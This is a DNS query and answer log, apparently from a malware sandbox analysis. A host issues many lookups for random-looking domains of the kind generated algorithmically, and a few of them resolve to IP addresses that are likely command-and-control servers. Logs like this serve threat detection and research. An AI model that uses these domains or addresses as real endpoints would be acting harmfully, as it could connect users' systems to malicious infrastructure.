Sep 7, 2024 15:32:51.548108101 CEST	192.168.2.7	1.1.1.1	0xa89c	Standard query (0)	cqpowqxlcjy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.802515984 CEST	192.168.2.7	1.1.1.1	0xd85c	Standard query (0)	qkakiocybnc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.825505018 CEST	192.168.2.7	1.1.1.1	0x7a63	Standard query (0)	qkakiocybnc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.896092892 CEST	192.168.2.7	1.1.1.1	0x19da	Standard query (0)	lqgthicggq.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.946737051 CEST	192.168.2.7	1.1.1.1	0x6437	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.966398954 CEST	192.168.2.7	1.1.1.1	0xad99	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.037889957 CEST	192.168.2.7	1.1.1.1	0x8fe3	Standard query (0)	wopauawbugs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.146908045 CEST	192.168.2.7	1.1.1.1	0xc348	Standard query (0)	wopauawbugs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.427077055 CEST	192.168.2.7	1.1.1.1	0xc348	Standard query (0)	wopauawbugs.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.677515984 CEST	192.168.2.7	1.1.1.1	0x5e3b	Standard query (0)	sqiiggeifsi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.780452013 CEST	192.168.2.7	1.1.1.1	0xb03d	Standard query (0)	sqiiggeifsi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.943001986 CEST	192.168.2.7	1.1.1.1	0xc49b	Standard query (0)	swwayobyywm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.977041006 CEST	192.168.2.7	1.1.1.1	0xd1ee	Standard query (0)	swwayobyywm.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.068238020 CEST	192.168.2.7	1.1.1.1	0xff3	Standard query (0)	qyykatcuf.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.117069960 CEST	192.168.2.7	1.1.1.1	0x85c2	Standard query (0)	qyykatcuf.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.209332943 CEST	192.168.2.7	1.1.1.1	0x3b1b	Standard query (0)	cywyeymyaxygg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.318021059 CEST	192.168.2.7	1.1.1.1	0xce3a	Standard query (0)	weyisuolokmpk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.597848892 CEST	192.168.2.7	1.1.1.1	0x1056	Standard query (0)	weyisuolokmpk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.865155935 CEST	192.168.2.7	1.1.1.1	0x1056	Standard query (0)	weyisuolokmpk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.928316116 CEST	192.168.2.7	1.1.1.1	0x625b	Standard query (0)	sslnpll.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.040635109 CEST	192.168.2.7	1.1.1.1	0x6ebc	Standard query (0)	sslnpll.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.317667961 CEST	192.168.2.7	1.1.1.1	0x6ebc	Standard query (0)	sslnpll.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.928678036 CEST	192.168.2.7	1.1.1.1	0x44bd	Standard query (0)	ghwzgwvns.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.168952942 CEST	192.168.2.7	1.1.1.1	0x7865	Standard query (0)	ghwzgwvns.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.475200891 CEST	192.168.2.7	1.1.1.1	0x31fd	Standard query (0)	iugwkmo.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.759846926 CEST	192.168.2.7	1.1.1.1	0xab31	Standard query (0)	iugwkmo.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.036464930 CEST	192.168.2.7	1.1.1.1	0xab31	Standard query (0)	iugwkmo.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.208748102 CEST	192.168.2.7	1.1.1.1	0x5464	Standard query (0)	zbasqxc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.315179110 CEST	192.168.2.7	1.1.1.1	0xa782	Standard query (0)	zbasqxc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.490010023 CEST	192.168.2.7	1.1.1.1	0xe56e	Standard query (0)	yumaq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.528131008 CEST	192.168.2.7	1.1.1.1	0x2104	Standard query (0)	yumaq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.614850998 CEST	192.168.2.7	1.1.1.1	0x2ef	Standard query (0)	wosotuabnnisil.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.627232075 CEST	192.168.2.7	1.1.1.1	0x8e0a	Standard query (0)	wosotuabnnisil.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.694264889 CEST	192.168.2.7	1.1.1.1	0xbd9c	Standard query (0)	wscpiyyza.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.707783937 CEST	192.168.2.7	1.1.1.1	0x414c	Standard query (0)	wscpiyyza.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.771868944 CEST	192.168.2.7	1.1.1.1	0x4d2b	Standard query (0)	uqhvo.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.798726082 CEST	192.168.2.7	1.1.1.1	0x5fa8	Standard query (0)	uqhvo.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.864841938 CEST	192.168.2.7	1.1.1.1	0xd0e8	Standard query (0)	kneyzc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.972603083 CEST	192.168.2.7	1.1.1.1	0xa336	Standard query (0)	kneyzc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.134162903 CEST	192.168.2.7	1.1.1.1	0x4273	Standard query (0)	edtypkiuumii.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.149084091 CEST	192.168.2.7	1.1.1.1	0xa201	Standard query (0)	edtypkiuumii.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.224374056 CEST	192.168.2.7	1.1.1.1	0x518e	Standard query (0)	pgaspgrxczoyg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.241744995 CEST	192.168.2.7	1.1.1.1	0xa8d7	Standard query (0)	pgaspgrxczoyg.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.303734064 CEST	192.168.2.7	1.1.1.1	0x9d15	Standard query (0)	eiajkkoojsibc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.409460068 CEST	192.168.2.7	1.1.1.1	0x333a	Standard query (0)	eiajkkoojsibc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.570085049 CEST	192.168.2.7	1.1.1.1	0x7e7f	Standard query (0)	ywarwjp.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.584431887 CEST	192.168.2.7	1.1.1.1	0x54b1	Standard query (0)	ywarwjp.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.651592016 CEST	192.168.2.7	1.1.1.1	0x22fd	Standard query (0)	eumfmwcv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.684020042 CEST	192.168.2.7	1.1.1.1	0x1135	Standard query (0)	eumfmwcv.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.758112907 CEST	192.168.2.7	1.1.1.1	0x54af	Standard query (0)	fnvbwxaeqwk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:57.860755920 CEST	192.168.2.7	1.1.1.1	0x9a64	Standard query (0)	fnvbwxaeqwk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.005692959 CEST	192.168.2.7	1.1.1.1	0x120d	Standard query (0)	uiwvomwyls.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.017931938 CEST	192.168.2.7	1.1.1.1	0x4fe2	Standard query (0)	uiwvomwyls.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.083758116 CEST	192.168.2.7	1.1.1.1	0x50fa	Standard query (0)	xyycdotjkmk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.360063076 CEST	192.168.2.7	1.1.1.1	0x5723	Standard query (0)	xyycdotjkmk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.443113089 CEST	192.168.2.7	1.1.1.1	0xf612	Standard query (0)	ncwjgaqmjup.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.455106020 CEST	192.168.2.7	1.1.1.1	0xeea0	Standard query (0)	ncwjgaqmjup.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.521383047 CEST	192.168.2.7	1.1.1.1	0x8ba2	Standard query (0)	yekuwiroci.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.714379072 CEST	192.168.2.7	1.1.1.1	0x89c0	Standard query (0)	yekuwiroci.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.865330935 CEST	192.168.2.7	1.1.1.1	0x195e	Standard query (0)	dkkmkcjaksqc.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.884587049 CEST	192.168.2.7	1.1.1.1	0x2ecf	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.897548914 CEST	192.168.2.7	1.1.1.1	0x3ae5	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.959075928 CEST	192.168.2.7	1.1.1.1	0x7f4f	Standard query (0)	ocaquarnisea.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.979809046 CEST	192.168.2.7	1.1.1.1	0x752a	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:58.993849039 CEST	192.168.2.7	1.1.1.1	0xc689	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.052917957 CEST	192.168.2.7	1.1.1.1	0x96da	Standard query (0)	myabe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.331021070 CEST	192.168.2.7	1.1.1.1	0xd90d	Standard query (0)	myabe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.599117994 CEST	192.168.2.7	1.1.1.1	0xd90d	Standard query (0)	myabe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.678643942 CEST	192.168.2.7	1.1.1.1	0x6c26	Standard query (0)	uwasak.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.771390915 CEST	192.168.2.7	1.1.1.1	0x9f83	Standard query (0)	gamwq.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.851052046 CEST	192.168.2.7	1.1.1.1	0xa72a	Standard query (0)	ftuqkkircwazo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.875834942 CEST	192.168.2.7	1.1.1.1	0x8a0d	Standard query (0)	ftuqkkircwazo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:59.943216085 CEST	192.168.2.7	1.1.1.1	0xc936	Standard query (0)	bwpfaipoy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.114237070 CEST	192.168.2.7	1.1.1.1	0x3adc	Standard query (0)	bwpfaipoy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.380235910 CEST	192.168.2.7	1.1.1.1	0x3adc	Standard query (0)	bwpfaipoy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.427398920 CEST	192.168.2.7	1.1.1.1	0x1050	Standard query (0)	ufoqprlc.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.523859024 CEST	192.168.2.7	1.1.1.1	0xed7d	Standard query (0)	gzwaqywdlnsr.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.550354004 CEST	192.168.2.7	1.1.1.1	0x435	Standard query (0)	gzwaqywdlnsr.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.630768061 CEST	192.168.2.7	1.1.1.1	0x81d7	Standard query (0)	zishghfgv.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.725382090 CEST	192.168.2.7	1.1.1.1	0x4a01	Standard query (0)	keoyiguvyeer.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.830723047 CEST	192.168.2.7	1.1.1.1	0x64dd	Standard query (0)	keoyiguvyeer.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.975240946 CEST	192.168.2.7	1.1.1.1	0x7c88	Standard query (0)	jumjc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:00.989952087 CEST	192.168.2.7	1.1.1.1	0x40c0	Standard query (0)	jumjc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.052932024 CEST	192.168.2.7	1.1.1.1	0x8e05	Standard query (0)	meovgkpxogbmum.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.302906990 CEST	192.168.2.7	1.1.1.1	0x1c3a	Standard query (0)	meovgkpxogbmum.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.463875055 CEST	192.168.2.7	1.1.1.1	0xa58a	Standard query (0)	czeocbmiquufi.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.570960999 CEST	192.168.2.7	1.1.1.1	0x1f67	Standard query (0)	wemqmaugvti.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.678899050 CEST	192.168.2.7	1.1.1.1	0x24e1	Standard query (0)	jegxwssvm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:01.919658899 CEST	192.168.2.7	1.1.1.1	0x9f54	Standard query (0)	jegxwssvm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.211652994 CEST	192.168.2.7	1.1.1.1	0xe531	Standard query (0)	kmwix.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.349490881 CEST	192.168.2.7	1.1.1.1	0x7f3a	Standard query (0)	txdgkqn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.611311913 CEST	192.168.2.7	1.1.1.1	0xa85c	Standard query (0)	txdgkqn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:02.912816048 CEST	192.168.2.7	1.1.1.1	0x5200	Standard query (0)	egcawewk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.014996052 CEST	192.168.2.7	1.1.1.1	0x9c65	Standard query (0)	egcawewk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.302642107 CEST	192.168.2.7	1.1.1.1	0x8532	Standard query (0)	rwwgysqikiucf.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.319907904 CEST	192.168.2.7	1.1.1.1	0x573f	Standard query (0)	rwwgysqikiucf.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.383469105 CEST	192.168.2.7	1.1.1.1	0xb67d	Standard query (0)	vpziumime.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.410367966 CEST	192.168.2.7	1.1.1.1	0x7c16	Standard query (0)	vpziumime.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.474750042 CEST	192.168.2.7	1.1.1.1	0x58ed	Standard query (0)	xrgdxigaokqnk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.487308025 CEST	192.168.2.7	1.1.1.1	0x3762	Standard query (0)	xrgdxigaokqnk.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.553241968 CEST	192.168.2.7	1.1.1.1	0x6a1f	Standard query (0)	zrlykyb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.660103083 CEST	192.168.2.7	1.1.1.1	0x5f33	Standard query (0)	zrlykyb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.818675041 CEST	192.168.2.7	1.1.1.1	0x1159	Standard query (0)	swdbwwsmwffcc.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.856303930 CEST	192.168.2.7	1.1.1.1	0xef1	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.874732018 CEST	192.168.2.7	1.1.1.1	0x6073	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:03.928277016 CEST	192.168.2.7	1.1.1.1	0xee91	Standard query (0)	eupjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:04.032217026 CEST	192.168.2.7	1.1.1.1	0xf0be	Standard query (0)	eupjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:04.302185059 CEST	192.168.2.7	1.1.1.1	0xf0be	Standard query (0)	eupjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.084517956 CEST	192.168.2.7	1.1.1.1	0x4f38	Standard query (0)	rwqsyyerzsawpu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.118537903 CEST	192.168.2.7	1.1.1.1	0xced7	Standard query (0)	rwqsyyerzsawpu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.210527897 CEST	192.168.2.7	1.1.1.1	0x8604	Standard query (0)	yoygpqq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.237957954 CEST	192.168.2.7	1.1.1.1	0xd1f3	Standard query (0)	yoygpqq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.313184023 CEST	192.168.2.7	1.1.1.1	0xaa90	Standard query (0)	nkancquzytf.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.415035963 CEST	192.168.2.7	1.1.1.1	0xc882	Standard query (0)	cmctuyc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.449922085 CEST	192.168.2.7	1.1.1.1	0xe750	Standard query (0)	cmctuyc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.553062916 CEST	192.168.2.7	1.1.1.1	0x990e	Standard query (0)	auwzkkx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.655770063 CEST	192.168.2.7	1.1.1.1	0x13d7	Standard query (0)	auwzkkx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.943150043 CEST	192.168.2.7	1.1.1.1	0x9f3c	Standard query (0)	rmmsmggeyi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:05.954350948 CEST	192.168.2.7	1.1.1.1	0x7c19	Standard query (0)	rmmsmggeyi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.023643017 CEST	192.168.2.7	1.1.1.1	0xd43d	Standard query (0)	sceogyv.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.195095062 CEST	192.168.2.7	1.1.1.1	0xc753	Standard query (0)	sceogyv.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.427665949 CEST	192.168.2.7	1.1.1.1	0xa378	Standard query (0)	wciiwo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.440337896 CEST	192.168.2.7	1.1.1.1	0xc5a3	Standard query (0)	wciiwo.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.506304026 CEST	192.168.2.7	1.1.1.1	0x5514	Standard query (0)	cyzgfig.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.519306898 CEST	192.168.2.7	1.1.1.1	0xb36b	Standard query (0)	cyzgfig.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.583688974 CEST	192.168.2.7	1.1.1.1	0x1b80	Standard query (0)	ccacy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.598217010 CEST	192.168.2.7	1.1.1.1	0x114e	Standard query (0)	ccacy.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.666387081 CEST	192.168.2.7	1.1.1.1	0xe47e	Standard query (0)	noeamkcd.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.688796997 CEST	192.168.2.7	1.1.1.1	0x3f10	Standard query (0)	noeamkcd.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:06.772814989 CEST	192.168.2.7	1.1.1.1	0x4d04	Standard query (0)	ixlhmiiil.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.054413080 CEST	192.168.2.7	1.1.1.1	0x4d04	Standard query (0)	ixlhmiiil.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.114979029 CEST	192.168.2.7	1.1.1.1	0x3b6c	Standard query (0)	ixlhmiiil.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.255552053 CEST	192.168.2.7	1.1.1.1	0xca23	Standard query (0)	tbeuk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.269972086 CEST	192.168.2.7	1.1.1.1	0x41d7	Standard query (0)	tbeuk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.349402905 CEST	192.168.2.7	1.1.1.1	0x9b06	Standard query (0)	qbsawumner.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.373465061 CEST	192.168.2.7	1.1.1.1	0x9bb9	Standard query (0)	qbsawumner.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.430777073 CEST	192.168.2.7	1.1.1.1	0x7484	Standard query (0)	iegwy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.542315006 CEST	192.168.2.7	1.1.1.1	0xab22	Standard query (0)	iegwy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.844671011 CEST	192.168.2.7	1.1.1.1	0x376d	Standard query (0)	hmeglgwinyalm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:07.948266983 CEST	192.168.2.7	1.1.1.1	0xe75f	Standard query (0)	hmeglgwinyalm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.138948917 CEST	192.168.2.7	1.1.1.1	0x2357	Standard query (0)	uvrtzchimq.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.372597933 CEST	192.168.2.7	1.1.1.1	0x71b5	Standard query (0)	uvrtzchimq.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.433370113 CEST	192.168.2.7	1.1.1.1	0x6ef1	Standard query (0)	dpwhfdgoauoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.472752094 CEST	192.168.2.7	1.1.1.1	0xc8b4	Standard query (0)	dpwhfdgoauoa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.537488937 CEST	192.168.2.7	1.1.1.1	0x44cc	Standard query (0)	ekoughqi.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.592505932 CEST	192.168.2.7	1.1.1.1	0x449b	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.612397909 CEST	192.168.2.7	1.1.1.1	0xcb51	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.661807060 CEST	192.168.2.7	1.1.1.1	0xd27a	Standard query (0)	igojomwgb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.695673943 CEST	192.168.2.7	1.1.1.1	0xb27b	Standard query (0)	igojomwgb.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:08.762701035 CEST	192.168.2.7	1.1.1.1	0x9bc2	Standard query (0)	cuwkkotwuhacsu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.038011074 CEST	192.168.2.7	1.1.1.1	0x9bc2	Standard query (0)	cuwkkotwuhacsu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.464472055 CEST	192.168.2.7	1.1.1.1	0x604a	Standard query (0)	cuwkkotwuhacsu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.740396023 CEST	192.168.2.7	1.1.1.1	0x82be	Standard query (0)	sukqszassere.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:09.959876060 CEST	192.168.2.7	1.1.1.1	0xdce0	Standard query (0)	zmpxveaoizn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.204320908 CEST	192.168.2.7	1.1.1.1	0x939a	Standard query (0)	zmpxveaoizn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.474441051 CEST	192.168.2.7	1.1.1.1	0x939a	Standard query (0)	zmpxveaoizn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.584176064 CEST	192.168.2.7	1.1.1.1	0xba	Standard query (0)	ogomm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.604048014 CEST	192.168.2.7	1.1.1.1	0x460b	Standard query (0)	ogomm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.663022041 CEST	192.168.2.7	1.1.1.1	0xbeeb	Standard query (0)	wkcoc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.704421997 CEST	192.168.2.7	1.1.1.1	0x1cf3	Standard query (0)	wkcoc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:10.787245989 CEST	192.168.2.7	1.1.1.1	0xd9fd	Standard query (0)	oscpavzjsto.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.066082001 CEST	192.168.2.7	1.1.1.1	0x61fb	Standard query (0)	oscpavzjsto.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.333550930 CEST	192.168.2.7	1.1.1.1	0x61fb	Standard query (0)	oscpavzjsto.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.380935907 CEST	192.168.2.7	1.1.1.1	0x3c79	Standard query (0)	wvzpwz.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.424004078 CEST	192.168.2.7	1.1.1.1	0x2a38	Standard query (0)	wvzpwz.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.506042004 CEST	192.168.2.7	1.1.1.1	0x42d6	Standard query (0)	ghnnkyyuee.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.518150091 CEST	192.168.2.7	1.1.1.1	0xc4bc	Standard query (0)	ghnnkyyuee.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.615513086 CEST	192.168.2.7	1.1.1.1	0x2cc3	Standard query (0)	coyirurocq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:11.929500103 CEST	192.168.2.7	1.1.1.1	0x983a	Standard query (0)	coyirurocq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.019315004 CEST	192.168.2.7	1.1.1.1	0xc1cb	Standard query (0)	jcmvlhq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.130489111 CEST	192.168.2.7	1.1.1.1	0xa760	Standard query (0)	jcmvlhq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.459239960 CEST	192.168.2.7	1.1.1.1	0x8815	Standard query (0)	wkcuwgb.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:12.474992037 CEST	192.168.2.7	1.1.1.1	0x478c	Standard query (0)	wkcuwgb.museum	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 7, 2024 15:29:08.089274883 CEST	1.1.1.1	192.168.2.7	0x1873	Name error (3)	lpyfpbtetkhzg.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.241600037 CEST	1.1.1.1	192.168.2.7	0x86e8	Name error (3)	lpyfpbtetkhzg.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.361577034 CEST	1.1.1.1	192.168.2.7	0x7be8	No error (0)	kwicmz.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.619118929 CEST	1.1.1.1	192.168.2.7	0x4219	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:09.619118929 CEST	1.1.1.1	192.168.2.7	0x4219	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:10.340398073 CEST	1.1.1.1	192.168.2.7	0x2c91	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
